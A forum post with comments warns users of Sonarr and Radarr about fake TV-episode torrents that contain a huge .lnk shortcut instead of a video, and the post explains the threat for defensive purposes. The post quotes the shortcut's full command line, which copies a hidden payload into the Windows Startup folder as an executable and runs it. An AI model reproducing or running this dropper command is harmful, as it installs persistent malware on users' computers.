I have Sonarr and Radarr set up to keep me up to date on some TV shows. Lately I've gotten a handful of files that Sonarr refuses to import because of a .lnk file. The download consists of a folder with the name of the file I want. Inside the folder is a file with the same name, and a .lnk extension. The .lnk file is very big (950Mb), and programmed to run this script:

%ComSpec% /v:On/CSET el=Severance.S02E07.1080p.WEB.H264-SuccessfulCrab.mkv&SET c="%Appdata%\microsoft\windows\START MENU\PROGRAMS\STARTUP%Username%.exe"&(If not exist !c! Findstr/v "cmd.EXE Rj%TIME:~7,1%%TIME:~-2%" !el!.Lnk>!c!&Start "" !c!)&CD %tmp%&Echo.>!

As far as I can tell, this creates an empty executable file in your Windows startup folder, and copies a portion of the fake video file into it. It then runs the malware. And, since it's in your startup folder, it will run again every time you reboot.

The tracker is theRARBG, but it could also come from elsewhere. I've found it on a couple of different shows (not just this one), and they always download a couple of days before the airdate.

Be careful!

top 15 comments

sorted by: hot top controversial new old

[–] AHorseWithNoNeigh@lemmy.dbzer0.com 37 points 3 days ago

See these all the time, unfortunately. I just add a line in the torrent client to not download anything with that file extension.

[–] Comexs@lemmy.zip 32 points 3 days ago

PSA/HOWTO: Avoid fake mkv torrents. Avoid getting hacked

[–] otto@sh.itjust.works 15 points 3 days ago

I’ve been noticing these around. Sonar catches them and I just delete them and research. I found that it’s often for the next weeks episode of a show. Only days after the previous episode came out. So it’s easy to see something that looks suspect anyway.

[–] LiveLM@lemmy.zip 4 points 2 days ago* (last edited 2 days ago)

This is why I fear plugging public trackers into the arr stack.
Would be nice if Sonarr could ignore any torrents available before an episode's listed air date

[–] Biskii@lemmy.dbzer0.com 10 points 3 days ago

Thank you for the heads up!

[–] AmbiguousProps@lemmy.today 6 points 3 days ago

I luckily haven't encountered these yet, but I primarily use NZB

[–] piccolo@sh.itjust.works 5 points 2 days ago (2 children)

laughs in linux

[–] fubbernuckin@lemmy.dbzer0.com 14 points 2 days ago (2 children)

You laugh in Linux now, but just wait until the year of the Linux desktop comes. Every malware developer on earth will be knocking on our door.

[–] mr_right@lemmy.dbzer0.com 2 points 10 hours ago

never will

[–] coldsideofyourpillow@lemmy.cafe 3 points 16 hours ago (1 children)

That's when you switch to an even more obscure kernel

[–] Andromxda@lemmy.dbzer0.com 1 points 5 hours ago (1 children)

What about GNU Hurd ^^

[–] coldsideofyourpillow@lemmy.cafe 1 points 5 hours ago (1 children)

Tried it, would not recommend.

[–] Andromxda@lemmy.dbzer0.com 1 points 5 hours ago* (last edited 3 hours ago)

It's time for ReactOS then. Maybe FreeDOS? Or the most divine OS of all, TempleOS.

[–] Berstrrs@lemmy.dbzer0.com -2 points 2 days ago

I only laugh in Linux cause it's just the same anology as driving Dodge Ram in Europe - good luck finding spare parts.

At the same time VW Golf parts are sold almost in every convenience store.

[–] tabel2@lemmy.wtf 4 points 2 days ago

If there is one that is smaller than 950MB, it would be interesting if you uploaded it to a cloud sandbox analyzer like Any.Run, Triage, or some other similar service.